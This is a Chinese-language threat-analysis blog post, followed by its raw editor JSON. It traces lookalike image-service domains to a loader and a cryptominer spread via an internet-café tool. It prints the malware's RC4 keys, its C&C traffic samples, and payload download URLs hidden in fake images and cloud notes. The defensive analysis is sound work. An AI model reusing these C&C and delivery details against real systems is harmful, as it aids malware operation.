baidu + gif, qq + jpeg, 163 + pics, 163 + image, 看起来像是大厂提供图片服务的域名，难道近期有什么新政策或者新业务，导致几个大公司纷纷加开新的图片服务？不过既然系统提示有安全威胁，是李鬼的可能性更大。
就先从系统汇总的域名基础信息开始，看看有哪些异常的内容。
第一步，从系统提取whois注册信息。一般来讲，合规运营的公司注册信息会规范且完整。
163pics.com createddate 2020-11-12 12:26:17
163pics.com updateddate 2020-11-12 12:26:17
163pics.com expiresdate 2022-11-12 12:26:17
163pics.com status clientDeleteProhibited | clientRenewProhibited | clientTransferProhibited | clientUpdateProhibited
163image.com createddate 2020-11-12 12:26:17
163image.com updateddate 2020-11-12 12:26:17
163image.com expiresdate 2022-11-12 12:26:17
163image.com status clientDeleteProhibited | clientRenewProhibited | clientTransferProhibited | clientUpdateProhibited
qqjpeg.com createddate 2020-11-12 12:26:17
qqjpeg.com updateddate 2020-11-12 12:26:17
qqjpeg.com expiresdate 2022-11-12 12:26:17
qqjpeg.com status clientDeleteProhibited | clientRenewProhibited | clientTransferProhibited | clientUpdateProhibited
baidugif.com createddate 2020-11-12 12:26:17
baidugif.com updateddate 2020-11-12 12:26:17
baidugif.com expiresdate 2022-11-12 12:26:17
baidugif.com status clientDeleteProhibited | clientRenewProhibited | clientTransferProhibited | clientUpdateProhibited
查询的结果显示，4个域名的注册信息很一致，注册时间甚至精确到同一秒完成，而且都打开了隐私保护。鉴于百度，腾讯和网易不会走上“分久必合，合久必分”的历史路线，因此不可能存在统一进行域名注册的操作。
李鬼的可能性+1。
第二步，从系统提取ICP备案信息。下面这段话是从域名备案管理系统的政策文件《工业和信息化部关于规范互联网信息服务使用域名的通知》摘抄的：
…进一步规范互联网信息服务域名使用，现就有关事项通知如下：
一、互联网信息服务提供者从事互联网信息服务使用的域名应为其依法依规注册所有。
…
也就是说，在国内合规运营的公司一般都要进行域名备案以正常开展业务，而这4个域名的查询结果是“未备案或备案取消”。
李鬼的可能性+2。
第三步，从系统提取域名的DNS解析信息。
2020-11-13 18:18:56 baidugif.com A 47.100.164.28 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.
2020-11-13 18:19:04 qqjpeg.com A 47.116.142.94 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.
2020-11-13 18:18:50 163pics.com A 39.98.228.46 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.
2020-11-13 17:00:22 163image.com A 39.98.228.46 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.
4个域名的活跃时间一致，解析结果看起来还算正常，没有指向同一个IP，但ASN都同属37963阿里云，显然是同一组织或个人所为。
此外，当我们观察这个四个域名的流量曲线，注意到这4个域名活动行为几乎一致。
李鬼的可能性+3。
到这里，这一组域名已经可以标记为99%级别可靠的恶意域名了，但是要将其标注为99.99%可靠的域名的话，我们还需要更多的交叉数据比对。
关联
从DNSMon提取的基础信息显示，这组域名就是李鬼无疑了。但系统的安全威胁告警，并不是仅仅依赖这些基础信息做决策得出的，而是借助了更多的数据展开关联分析得出的结论。
关联分析根源于最朴素的想法：“近朱者赤近墨者黑”，和坏蛋打交道大概率不是好人，马老板的朋友圈多数是能人异士。
以4个域名做为种子，从我们的数据得到了下面的关联图：
对于关联图，一方面，是利用其中的样本信息对4个域名进行定性，就是回答域名具体用途是什么，钓鱼？Downloader或是C&C？
分析之后，可以看出系统预警的原因是因为：关联出来的样本，能在VT查询到结果的，比如e64ac44596e1c66036ca3e58c28c24a6，已经被众多杀毒引擎标注有问题；未能在VT查到结果的，比如b4070c64ae268e9edf383b6096a68fc3，图系统也有偏黑的属性标签。而和4个种子域名关联最紧密的b4070c64ae268e9edf383b6096a68fc3 是一个DLL文件，都以TCP：2653和4个域名进行了通信，看起来域名的用途大概率是C&C。
另一方面，关联图可以弥补遗漏的信息。
其中，最有意思的是关联出的一个域名“xia.doubeidong[.]com”，在其上承载着一个URL “http[:]//xia.doubiedong.com:45678/”，后台服务是国内黑客的最爱HFS。根据页面信息显示，在服务器提供服务的16个小时里，已经有超过700万次的下载。
弥补信息的另一个有趣点在URL。
http[:]//wx1.sinaimg.cn/large/0082blolly1gkh5uqz322g300g00g7jv.gif MD5: c3a7d82f39437c624169c59bcdaf0430
http[:]//tiebapic.baidu.com/tieba/pic/item/e1fe9925bc315c6070d21eae9ab1cb134954772f.jpg MD5: c3a7d82f39437c624169c59bcdaf0430
打开这两个URL，页面显示的是一个很小很模糊的顺时针转动箭头，但是另存为文件后，文件大小却接近571KB，明显是在玩假图片的路数。
至此，利用DNSMon系统，我们从数据层面对这4个域名有了“恶意”的定性。但要解释样本和域名之间的关系，还是要进行简要地逆向分析。
逆向定性
经分析，baidugif[.]com, qqjpeg[.]com, 163pics[.]com, 163image[.]com的用途确实是C&C，而xia.doubiedong[.]com则和挖矿有关。
样本1分析：b4070c64ae268e9edf383b6096a68fc3
样本b4070c64ae268e9edf383b6096a68fc3，是一个加载器，主要功能是加载运行内嵌在PE资源里的5个恶意的文件。
其中名为LOL的资源与本案例相关的，因此本文只聚焦LOL文件。
Dump出LOL的MD5为a20a9e26865291aa651242abcf8a958c，它包含了5个域名 ，比我们从数据观测的角度多一个。
qqjpeg.com
163pics.com
163image.com
baidugif.com
baidupics.com
LOL运行时会向C&C发送加密的长度10字节的上线信息，以下明文为例
6c 36 04 00 00 ff 02 ff 02 ff
加密算法RC4, KEY 10字节,
0C 22 38 4E 5A 0C 22 38 4E 5A
加密后得到BOT向C&C发送的密文
6f 50 4f 3a 7b 94 b2 8e ec e6
当C&C收到BOT的请求后，向BOT回发的加密的信息
ba 0a 43 19 eb 61 9b 1a d3 0c 74 5e d5 c1 ae 59 a0 cf 52 d7 15 35 9b c1 61 07 20 16 93 5f 01 d3 9d ed 05 9c 20 41 83 a9 8b 44 d7 8e de df 21 4a 6b 95 08 6f f6 cc cd 0a 54 7d d5 ea 6b fc 18 46 ec 9d f9 2e fe e7 59 81 63 64 4a 0f c7 05 83 5e fd 58 a6 59 ce f4 f8 ed f8 ba 3a 02 13 89 11 f4 64 a4 b6 60 23 55 7a 50 2e ef 09 de 5a 72 42 a8 3b b5 2d 2f dd 45 d3 ef 5e 94 8d d3 5c 5c f7 e0 ae e1 4e f5 32 13 88 07 5f 45 24 22 11 14 b8 d2 88 f7 73 87 6a b4 f4 a4 76 23 97 4f 08 b5 4a fe f5 2a 57 6e b4 ce 2f 51 05 81 1c 14 93 84 14 bb 3e 85 a0 7c fe 1c 28 18 c1 d8 d5 5c c8 f7 c7 a1 b1 d7 c7 f3 83 34 3b c8 f5 12 0d d4 06 84 5d f2 fd 11 4c 87 05 3e bb 6b 4a 66 0b da b2 d1 68 d7 6f b9 a1 08 dc 8d 40 18 ff af c3 c7 b8 9d de 8f e6 d5 4e 40 8d be 68 d0 60 80 63 84 93 3b 88 6f 33 52 f8 ad 8d 89 8f de 81 ef 24 8a 0d 52 6f 67 3a ae fc 2b fc 4b c8 8b 55 b8 01 c3 91 67 46 fc a4 3d a2 5c 99 a4 48 17 41 6f 48 08 76 3b 8b 50 19 de 8c fc 86 82 ab 42 af fd 7d f6 95 c6 6c e1 98 fb 7f df 2d 98 16 72 dd 1a c0 03 db 06 10 36 f4 e8 8a 49 3a 2e 80 58 87 cb 48 b2 e7 f7 af 73 3e 44 dd 5c db 8b 45 9c 30 74 84 bf 9c 5c 16 69 77 b7 af 5d 26 fa 18 bf f9 52 1f 17 0e 49 b5 ca 94 85 b1 ac d9 eb 26 48 9e fe e4 b5 27 b2 f7 d8 55 02 f9 90 9c 98 37 8f bb 66 f9 3a 99 a0 21 2f 4a e8 bf 63 9a 54 69 08 bf bd 8b e2 80 3d 2d 9b 65 22 5e 9e f1 0f 29 16 dd 97 e7 b1 6e 0c dc 00 3b 1f 0b 77 49 2b a9 ee 78 81 40 db bc 15 26 c4 7c 8a 2a 66 8d fa 3b a8 80 a8 ce f6 5e 04 c0 3b f8 a6 34 fa 8d d7 55 46 67 e7 d8 4d d1 24 79 f7 af 26 fc 90 fd ca 57 35 e5 e4 ce b5 d3 43 8f b4 63 9e 12 67 e3 a5 4e 3d e7 af 14 be fc 29 1f a9 4b 64 5d e9
解密算法RC4, KEY 10字节
0C 22 38 4E 5A 0C 22 38 4E 5B
解密后得到以下URL，可以看出，它们和前文所述"玩假图片的路数的URL"的模式是一样的。
https[:]//imglf3.nosdn.127.net/img/T0Jid3A3NGx6NGYwR1RURm53bXUvVnBSMnp4Kyt6NW1rUi9lN29ITDhYSlhOTWxnSHFpMVhRPT0.gif
https[:]//imglf6.nosdn.127.net/img/T0Jid3A3NGx6NGYwR1RURm53bXUvWXYvd1U3QUt6SXUrNCtvK2JiOXhNY3gvaldBdmlHRWF3PT0.gif
http[:]//tiebapic.baidu.com/tieba/pic/item/cffc1e178a82b901bc520176648da9773812effd.jpg
http[:]//tiebapic.baidu.com/tieba/pic/item/cffc1e178a82b901bc520176648da9773812effd.jpg
http[:]//wx3.sinaimg.cn/large/008elXdrly1glzkcp1nndg300g00gqht.gif
http[:]//wx2.sinaimg.cn/large/008elXdrly1glzkclznjtg300g00gqht.gif
那图片到底是什么呢？以上面URL对应的图片（MD5:6f978ff7382f89d613647283850d4a38）为例，经发析，发现它是一个使用RC4加密，zlib压缩的文件，解密解压后得到下面的最终的业务PE文件（MD5:dd8a3e4e5c84ffb9ec8b845ac687d647），验证了我们最初的判断，"假图片"。
至此b4070c64ae268e9edf383b6096a68fc3与4个李鬼域名，以及"玩假图片的路数"URL都关联起来了。
样本2分析：d8380bf0739384d82aaadc4d36f3abee
样本d8380bf0739384d82aaadc4d36f3abee访问URL下载到的45678.txt文件是一串被加密过的数据：
A5CA21A8E6A3DCC0E2B1AE786464602A3F3F7E7F64753E697F6574717F3E737F7D3F6967633F7160793F607562637F7E717C3F76797C753F47555273722623212821232829712673232726232175257228732726292926297426732F7D7564787F742D747F677E7C7F717436797E7C797E752D646265753663787162755B75692D7173717273267176762874737276762476747472232121257322232471272574B1AFA5CA21A8E6A3DCC0E21D1AA3DCC0E221A1B3A4F6A5C8C6A7B1AE532A4C47797E747F67634C797E764C637D63632122683E756875B1AFA3DCC0E221A1B3A4F6A5C8C6A7E4399CFF2
这串数据解密后得到有道云笔记的一个URL：
http[:]//note.youdao.com/yws/api/personal/file/WEBcb63181389a6c37631e5b8c769969d6c?method=download&inline=true&shareKey=acabc6aff8dcbff4fddb3115c234a75d
上述URL下载得到的是一个EXE文件，名为n1.exe或n2.exe:
731c9d6e7c77e4f507de16ba8146779b n1_exe_youdao
b1fd035f4aaba2cd1e56e25e94dd99f3 n2_exe_youdao
该文件本质是一个RAR自解压文件：
其中的 audiodg.exe 或 lsmm.exe 文件，是易语言编写的一个 EXE 文件。它在运行过程中会对自身内嵌的PE进行部分数据的替换与组合，并释放出以下两个文件：
1. servicesXX.exe(XX为2个随机字符)
2. delziji123.txt(存放自身的文件路径，后续会根据这个路径将自身删除)
servicesXX.exe 文件中包含另一条有道云笔记的URL：
http[:]//note.youdao.com/yws/api/personal/file/WEB7d6e44695d1d0f3e1c0cd07fb4d60643?method=download&inline=true&shareKey=329a77febe53d227a830bd860e10bca9
访问该URL下载到hx1.exe文件，该文件即为矿机程序。
感染分布
从实际的感染分布来看，中国大陆地区的31个省市均有感染。
溯源分析
在查看数据的过程中，我们也一直在想，究竟样本是经过什么途径到达了感染的目标？经过溯源，我们还原了感染的路径，如下图。
是一个叫NBMSClient的工具一系列的父子进程创建，最终加载了一个名为uwspvps.dll的动态链接库，访问了引起我们注意的4个域名。
通过搜索引擎搜索“NBMSClient”，结果显示是一个网吧相关的运维工具。可以猜测，随着样本被维护通道的不断下发推广，域名和其他诸多线索逐渐汇集到了DNSMon，从而触发了此次预警。
结论：
1. 得益于DNS的基础性，DNSMon具备及时发现不同行业安全威胁的能力 ，尤其在现有安全软件无检出，或者是用户没有使用安全安全软件的场景下，这种新维度可以和现有安全产品组成有效的交叉火力。
2. 网吧运维工具由于安装范围广，应该具备较为专业的安全能力为维护通道保驾护航，防止下发通道被恶意利用。
3. 为躲避各类安全产品的检测，恶意样本的传播借助了大公司的基础服务，比如本次事件用到了wx1.sinaimg[.]cn，tiebapic.baidu[.]com和note.youdao[.]com提供的图片下载服务。
IoC
域名：
baidugif.com
qqjpeg.com
163pics.com
163image.com
xia.doubiedong.com
baidupics.com
| {"version":"0.3.1","atoms":[["soft-return","",{}]],"cards":[["markdown",{"markdown":"```\n163pics.com createddate 2020-11-12 12:26:17\n163pics.com updateddate 2020-11-12 12:26:17\n163pics.com expiresdate 2022-11-12 12:26:17\n163pics.com status clientDeleteProhibited | clientRenewProhibited | clientTransferProhibited | clientUpdateProhibited\n163image.com createddate 2020-11-12 12:26:17\n163image.com updateddate 2020-11-12 12:26:17\n163image.com expiresdate 2022-11-12 12:26:17\n163image.com status clientDeleteProhibited | clientRenewProhibited | clientTransferProhibited | clientUpdateProhibited\nqqjpeg.com createddate 2020-11-12 12:26:17\nqqjpeg.com updateddate 2020-11-12 12:26:17\nqqjpeg.com expiresdate 2022-11-12 12:26:17\nqqjpeg.com status clientDeleteProhibited | clientRenewProhibited | clientTransferProhibited | clientUpdateProhibited\nbaidugif.com createddate 2020-11-12 12:26:17\nbaidugif.com updateddate 2020-11-12 12:26:17\nbaidugif.com expiresdate 2022-11-12 12:26:17\nbaidugif.com status clientDeleteProhibited | clientRenewProhibited | clientTransferProhibited | clientUpdateProhibited\n```"}],["markdown",{"markdown":"第二步，从系统提取ICP备案信息。下面这段话是从域名备案管理系统的政策文件[《工业和信息化部关于规范互联网信息服务使用域名的通知》](https://beian.miit.gov.cn/#/Integrated/lawStatute)摘抄的：\n> …进一步规范互联网信息服务域名使用，现就有关事项通知如下：\n>一、互联网信息服务提供者从事互联网信息服务使用的域名应为其依法依规注册所有。\n>…"}],["markdown",{"markdown":"```\n2020-11-13 18:18:56 baidugif.com A 47.100.164.28 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.\n2020-11-13 18:19:04 qqjpeg.com A 47.116.142.94 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.\n2020-11-13 18:18:50 163pics.com A 39.98.228.46 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.\n2020-11-13 17:00:22 163image.com A 39.98.228.46 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.\n```"}],["image",{"src":"__GHOST_URL__/content/images/2020/12/1-2-1.png"}],["image",{"src":"__GHOST_URL__/content/images/2020/11/3.png"}],["markdown",{"markdown":"弥补信息的另一个有趣点在URL。\n```\nhttp[:]//wx1.sinaimg.cn/large/0082blolly1gkh5uqz322g300g00g7jv.gif MD5: c3a7d82f39437c624169c59bcdaf0430\nhttp[:]//tiebapic.baidu.com/tieba/pic/item/e1fe9925bc315c6070d21eae9ab1cb134954772f.jpg MD5: c3a7d82f39437c624169c59bcdaf0430\n```"}],["image",{"src":"__GHOST_URL__/content/images/2020/12/samp_res.jpg"}],["image",{"src":"__GHOST_URL__/content/images/2020/12/lol_res.jpg"}],["code",{"code":"qqjpeg.com\n163pics.com\n163image.com\nbaidugif.com\nbaidupics.com\n"}],["markdown",{"markdown":"LOL运行时会向C&C发送加密的长度10字节的上线信息，以下明文为例\n```\n6c 36 04 00 00 ff 02 ff 02 ff\n```\n加密算法RC4, KEY 10字节,\n```\n0C 22 38 4E 5A 0C 22 38 4E 5A\n```\n加密后得到BOT向C&C发送的密文\n```\n6f 50 4f 3a 7b 94 b2 8e ec e6\n```\n\n当C&C收到BOT的请求后，向BOT回发的加密的信息\n```\nba 0a 43 19 eb 61 9b 1a d3 0c 74 5e d5 c1 ae 59 a0 cf 52 d7 15 35 9b c1 61 07 20 16 93 5f 01 d3 9d ed 05 9c 20 41 83 a9 8b 44 d7 8e de df 21 4a 6b 95 08 6f f6 cc cd 0a 54 7d d5 ea 6b fc 18 46 ec 9d f9 2e fe e7 59 81 63 64 4a 0f c7 05 83 5e fd 58 a6 59 ce f4 f8 ed f8 ba 3a 02 13 89 11 f4 64 a4 b6 60 23 55 7a 50 2e ef 09 de 5a 72 42 a8 3b b5 2d 2f dd 45 d3 ef 5e 94 8d d3 5c 5c f7 e0 ae e1 4e f5 32 13 88 07 5f 45 24 22 11 14 b8 d2 88 f7 73 87 6a b4 f4 a4 76 23 97 4f 08 b5 4a fe f5 2a 57 6e b4 ce 2f 51 05 81 1c 14 93 84 14 bb 3e 85 a0 7c fe 1c 28 18 c1 d8 d5 5c c8 f7 c7 a1 b1 d7 c7 f3 83 34 3b c8 f5 12 0d d4 06 84 5d f2 fd 11 4c 87 05 3e bb 6b 4a 66 0b da b2 d1 68 d7 6f b9 a1 08 dc 8d 40 18 ff af c3 c7 b8 9d de 8f e6 d5 4e 40 8d be 68 d0 60 80 63 84 93 3b 88 6f 33 52 f8 ad 8d 89 8f de 81 ef 24 8a 0d 52 6f 67 3a ae fc 2b fc 4b c8 8b 55 b8 01 c3 91 67 46 fc a4 3d a2 5c 99 a4 48 17 41 6f 48 08 76 3b 8b 50 19 de 8c fc 86 82 ab 42 af fd 7d f6 95 c6 6c e1 98 fb 7f df 2d 98 16 72 dd 1a c0 03 db 06 10 36 f4 e8 8a 49 3a 2e 80 58 87 cb 48 b2 e7 f7 af 73 3e 44 dd 5c db 8b 45 9c 30 74 84 bf 9c 5c 16 69 77 b7 af 5d 26 fa 18 bf f9 52 1f 17 0e 49 b5 ca 94 85 b1 ac d9 eb 26 48 9e fe e4 b5 27 b2 f7 d8 55 02 f9 90 9c 98 37 8f bb 66 f9 3a 99 a0 21 2f 4a e8 bf 63 9a 54 69 08 bf bd 8b e2 80 3d 2d 9b 65 22 5e 9e f1 0f 29 16 dd 97 e7 b1 6e 0c dc 00 3b 1f 0b 77 49 2b a9 ee 78 81 40 db bc 15 26 c4 7c 8a 2a 66 8d fa 3b a8 80 a8 ce f6 5e 04 c0 3b f8 a6 34 fa 8d d7 55 46 67 e7 d8 4d d1 24 79 f7 af 26 fc 90 fd ca 57 35 e5 e4 ce b5 d3 43 8f b4 63 9e 12 67 e3 a5 4e 3d e7 af 14 be fc 29 1f a9 4b 64 5d e9\n```\n解密算法RC4, KEY 10字节\n```\n0C 22 38 4E 5A 0C 22 38 4E 5B\n```\n\n解密后得到以下URL，可以看出，它们和前文所述\"玩假图片的路数的URL\"的模式是一样的。\n```\nhttps[:]//imglf3.nosdn.127.net/img/T0Jid3A3NGx6NGYwR1RURm53bXUvVnBSMnp4Kyt6NW1rUi9lN29ITDhYSlhOTWxnSHFpMVhRPT0.gif\nhttps[:]//imglf6.nosdn.127.net/img/T0Jid3A3NGx6NGYwR1RURm53bXUvWXYvd1U3QUt6SXUrNCtvK2JiOXhNY3gvaldBdmlHRWF3PT0.gif\nhttp[:]//tiebapic.baidu.com/tieba/pic/item/cffc1e178a82b901bc520176648da9773812effd.jpg\nhttp[:]//tiebapic.baidu.com/tieba/pic/item/cffc1e178a82b901bc520176648da9773812effd.jpg\nhttp[:]//wx3.sinaimg.cn/large/008elXdrly1glzkcp1nndg300g00gqht.gif\nhttp[:]//wx2.sinaimg.cn/large/008elXdrly1glzkclznjtg300g00gqht.gif\n```\n那图片到底是什么呢？以上面URL对应的图片（MD5:6f978ff7382f89d613647283850d4a38）为例，经发析，发现它是一个使用RC4加密，zlib压缩的文件，解密解压后得到下面的最终的业务PE文件（MD5:dd8a3e4e5c84ffb9ec8b845ac687d647），验证了我们最初的判断，\"假图片\"。\n\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/12/lol_final.jpg"}],["markdown",{"markdown":"样本d8380bf0739384d82aaadc4d36f3abee访问URL下载到的45678.txt文件是一串被加密过的数据：\n```\nA5CA21A8E6A3DCC0E2B1AE786464602A3F3F7E7F64753E697F6574717F3E737F7D3F6967633F7160793F607562637F7E717C3F76797C753F47555273722623212821232829712673232726232175257228732726292926297426732F7D7564787F742D747F677E7C7F717436797E7C797E752D646265753663787162755B75692D7173717273267176762874737276762476747472232121257322232471272574B1AFA5CA21A8E6A3DCC0E21D1AA3DCC0E221A1B3A4F6A5C8C6A7B1AE532A4C47797E747F67634C797E764C637D63632122683E756875B1AFA3DCC0E221A1B3A4F6A5C8C6A7E4399CFF2\n```\n这串数据解密后得到有道云笔记的一个URL：\n```\nhttp[:]//note.youdao.com/yws/api/personal/file/WEBcb63181389a6c37631e5b8c769969d6c?method=download&inline=true&shareKey=acabc6aff8dcbff4fddb3115c234a75d\n```\n上述URL下载得到的是一个EXE文件，名为n1.exe或n2.exe:\n```\n731c9d6e7c77e4f507de16ba8146779b n1_exe_youdao\nb1fd035f4aaba2cd1e56e25e94dd99f3 n2_exe_youdao\n```\n该文件本质是一个RAR自解压文件："}],["image",{"src":"__GHOST_URL__/content/images/2020/12/Snipaste_2020-12-28_15-31-20-2.png","cardWidth":""}],["markdown",{"markdown":"其中的 audiodg.exe 或 lsmm.exe 文件，是易语言编写的一个 EXE 文件。它在运行过程中会对自身内嵌的PE进行部分数据的替换与组合，并释放出以下两个文件：\n1. servicesXX.exe(XX为2个随机字符)\n2. delziji123.txt(存放自身的文件路径，后续会根据这个路径将自身删除)\nservicesXX.exe 文件中包含另一条有道云笔记的URL：\n```\nhttp[:]//note.youdao.com/yws/api/personal/file/WEB7d6e44695d1d0f3e1c0cd07fb4d60643?method=download&inline=true&shareKey=329a77febe53d227a830bd860e10bca9\n```\n访问该URL下载到hx1.exe文件，该文件即为矿机程序。"}],["image",{"src":"__GHOST_URL__/content/images/2020/11/4.png"}],["image",{"src":"__GHOST_URL__/content/images/2020/12/5.png"}],["markdown",{"markdown":"```\n域名：\nbaidugif.com \nqqjpeg.com \n163pics.com \n163image.com \nxia.doubiedong.com\nbaidupics.com\n```"}]],"markups":[["em"],["strong"],["code"]],"sections":[[1,"p",[[0,[],0,"----"],[0,[0,1],2,"DNSMon抓李鬼记"]]],[1,"h2",[[0,[],0,"背景"]]],[1,"p",[[0,[],0,"本文是介绍DNSMon在生产威胁情报(域名IoC)系列文章的第二篇。"]]],[1,"p",[[0,[],0,"为了对抗安全人员的分析，钓鱼域名是恶意样本经常采用的一种技术手段。从字符组成和结构上看，钓鱼域名确实具有混淆视听的功效，但对于DNSMon这种具备多维度关联分析的系统来说，模仿知名公司域名的效果则适得其反，因为这样的域名一旦告警，反而更容易引起分析人员的注意。"]]],[1,"p",[[0,[],0,"本案例从一组疑似钓鱼域名出发，逐步介绍DNSMon是如何利用whois，ICP备案，域名解析内容和图关联等信息，让一组干瘪的域名逐渐一点点丰富起来直至最后恶意定性的。"]]],[1,"p",[[0,[],0,"意料之外的是，随着线索的展开，我们发现这是一起失陷设备数量巨大的安全事件，从我们的数据测算，感染规模远超100w设备。为此，我们进行了较为细致的逆向分析和回溯，但限于篇幅，样本分析细节及其家族演变，将在后续再另起一篇介绍。"]]],[1,"p",[[0,[],0,"通常威胁分析普遍的惯例是先知道样本恶意再逆向, 有时根据DNS数据估算感染规模。这次DNSMon系列文章里揭示的，更多是先根据DNS数据发现异常并定性，再进一步探寻还原事件真相。即从"],[0,[1],1,"先逆向再统计"],[0,[],0,"，变成了"],[0,[1],1,"先统计再逆向"],[0,[],0,"。"],[1,[],0,0],[0,[],0,"这个顺序的变动，是DNSMon的一小步，却是整个威胁分析分支的一大步。"]]],[1,"h2",[[0,[],0,"DNSMon对未知威胁的预警"]]],[1,"p",[[0,[],0,"2020-11-17，DNSMon系统提示一组域名baidugif[.]com, qqjpeg[.]com, 163pics[.]com, 163image[.]com存在安全威胁，打开一看，域名的特殊构造立刻勾起了我们进一步细致查看的兴趣。"]]],[1,"p",[[0,[],0,"baidu + gif, qq + jpeg, 163 + pics, 163 + image, 看起来像是大厂提供图片服务的域名，难道近期有什么新政策或者新业务，导致几个大公司纷纷加开新的图片服务？不过既然系统提示有安全威胁，是李鬼的可能性更大。"]]],[1,"p",[[0,[],0,"就先从系统汇总的域名基础信息开始，看看有哪些异常的内容。"]]],[1,"p",[[0,[],0,"第一步，从系统提取whois注册信息。一般来讲，合规运营的公司注册信息会规范且完整。"]]],[10,0],[1,"p",[[0,[],0,"查询的结果显示，4个域名的注册信息很一致，注册时间甚至精确到同一秒完成，而且都打开了隐私保护。鉴于百度，腾讯和网易不会走上“分久必合，合久必分”的历史路线，因此不可能存在统一进行域名注册的操作。"]]],[1,"p",[[0,[],0,"李鬼的可能性+1。"]]],[10,1],[1,"p",[[0,[],0,"也就是说，在国内合规运营的公司一般都要进行域名备案以正常开展业务，而这4个域名的查询结果是“"],[0,[0,1],2,"未备案或备案取消"],[0,[],0,"”。"]]],[1,"p",[[0,[],0,"李鬼的可能性+2。"]]],[1,"p",[[0,[],0,"第三步，从系统提取域名的DNS解析信息。"]]],[10,2],[1,"p",[[0,[],0,"4个域名的活跃时间一致，解析结果看起来还算正常，没有指向同一个IP，但ASN都同属37963阿里云，显然是同一组织或个人所为。"]]],[1,"p",[[0,[],0,"此外，当我们观察这个四个域名的流量曲线，注意到这4个域名活动行为几乎一致。"]]],[1,"p",[[0,[],0,"李鬼的可能性+3。"]]],[1,"p",[[0,[],0,"到这里，这一组域名已经可以标记为99%级别可靠的恶意域名了，但是要将其标注为99.99%可靠的域名的话，我们还需要更多的交叉数据比对。"]]],[1,"h2",[[0,[],0,"关联"]]],[1,"p",[[0,[],0,"从DNSMon提取的基础信息显示，这组域名就是李鬼无疑了。但系统的安全威胁告警，并不是仅仅依赖这些基础信息做决策得出的，而是借助了更多的数据展开关联分析得出的结论。"]]],[1,"p",[[0,[],0,"关联分析根源于最朴素的想法：“近朱者赤近墨者黑”，和坏蛋打交道大概率不是好人，马老板的朋友圈多数是能人异士。"]]],[1,"p",[[0,[],0,"以4个域名做为种子，从我们的数据得到了下面的关联图："]]],[10,3],[1,"p",[[0,[],0,"对于关联图，一方面，是利用其中的样本信息对4个域名进行定性，就是回答域名具体用途是什么，钓鱼？Downloader或是C&C？"]]],[1,"p",[[0,[],0,"分析之后，可以看出系统预警的原因是因为：关联出来的样本，能在VT查询到结果的，比如e64ac44596e1c66036ca3e58c28c24a6，已经被众多杀毒引擎标注有问题；未能在VT查到结果的，比如b4070c64ae268e9edf383b6096a68fc3，图系统也有偏黑的属性标签。而和4个种子域名关联最紧密的b4070c64ae268e9edf383b6096a68fc3 是一个DLL文件，都以TCP：2653和4个域名进行了通信，看起来"],[0,[1,0],2,"域名的用途大概率是C&C"],[0,[],0,"。"]]],[1,"p",[[0,[],0,"另一方面，关联图可以弥补遗漏的信息。"]]],[1,"p",[[0,[],0,"其中，最有意思的是关联出的一个域名“xia.doubeidong[.]com”，在其上承载着一个URL “http[:]//xia.doubiedong.com:45678/”，后台服务是国内黑客的最爱HFS。根据页面信息显示，在服务器提供服务的16个小时里，已经有超过"],[0,[1],1,"700万"],[0,[],0,"次的下载。"]]],[10,4],[10,5],[1,"p",[[0,[],0,"打开这两个URL，页面显示的是一个很小很模糊的顺时针转动箭头，但是另存为文件后，文件大小却接近571KB，明显是在玩假图片的路数。"]]],[1,"p",[[0,[],0,"至此，利用DNSMon系统，我们从数据层面对这4个域名有了“恶意”的定性。但要解释样本和域名之间的关系，还是要进行简要地逆向分析。"]]],[1,"h2",[[0,[],0,"逆向定性"]]],[1,"p",[[0,[],0,"经分析，baidugif[.]com, qqjpeg[.]com, 163pics[.]com, 163image[.]com的用途确实是C&C，而xia.doubiedong[.]com则和挖矿有关。"]]],[1,"h2",[[0,[],0,"样本1分析：b4070c64ae268e9edf383b6096a68fc3"]]],[1,"p",[[0,[],0,"样本b4070c64ae268e9edf383b6096a68fc3，是一个加载器，主要功能是加载运行内嵌在PE资源里的5个恶意的文件。"]]],[10,6],[1,"p",[[0,[],0,"其中名为"],[0,[2],1,"LOL"],[0,[],0,"的资源与本案例相关的，因此本文只聚焦LOL文件。"]]],[10,7],[1,"p",[[0,[],0,"Dump出LOL的MD5为a20a9e26865291aa651242abcf8a958c，它包含了5个域名 ，比我们从数据观测的角度多一个。"]]],[10,8],[1,"p",[]],[10,9],[10,10],[1,"p",[[0,[],0,"至此b4070c64ae268e9edf383b6096a68fc3与4个李鬼域名，以及\"玩假图片的路数\"URL都关联起来了。"]]],[1,"p",[]],[1,"h2",[[0,[],0,"样本2分析：d8380bf0739384d82aaadc4d36f3abee"]]],[10,11],[10,12],[10,13],[1,"h2",[[0,[],0,"感染分布"]]],[1,"p",[[0,[],0,"从实际的感染分布来看，中国大陆地区的31个省市均有感染。"]]],[10,14],[1,"h2",[[0,[],0,"溯源分析"]]],[1,"p",[[0,[],0,"在查看数据的过程中，我们也一直在想，究竟样本是经过什么途径到达了感染的目标？经过溯源，我们还原了感染的路径，如下图。"]]],[10,15],[1,"p",[[0,[],0,"是一个叫NBMSClient的工具一系列的父子进程创建，最终加载了一个名为uwspvps.dll的动态链接库，访问了引起我们注意的4个域名。 "]]],[1,"p",[[0,[],0,"通过搜索引擎搜索“NBMSClient”，结果显示是一个网吧相关的运维工具。可以猜测，随着样本被维护通道的不断下发推广，域名和其他诸多线索逐渐汇集到了DNSMon，从而触发了此次预警。 "]]],[1,"h2",[[0,[],0,"结论： "]]],[1,"p",[[0,[],0,"1. 得益于DNS的基础性，DNSMon具备及时发现不同行业安全威胁的能力 ，尤其在现有安全软件无检出，或者是用户没有使用安全安全软件的场景下，这种新维度可以和现有安全产品组成有效的交叉火力。"]]],[1,"p",[[0,[],0,"2. 网吧运维工具由于安装范围广，应该具备较为专业的安全能力为维护通道保驾护航，防止下发通道被恶意利用。"]]],[1,"p",[[0,[],0,"3. 为躲避各类安全产品的检测，恶意样本的传播借助了大公司的基础服务，比如本次事件用到了wx1.sinaimg[.]cn，tiebapic.baidu[.]com和note.youdao[.]com提供的图片下载服务。"]]],[1,"h2",[[0,[],0,"IoC 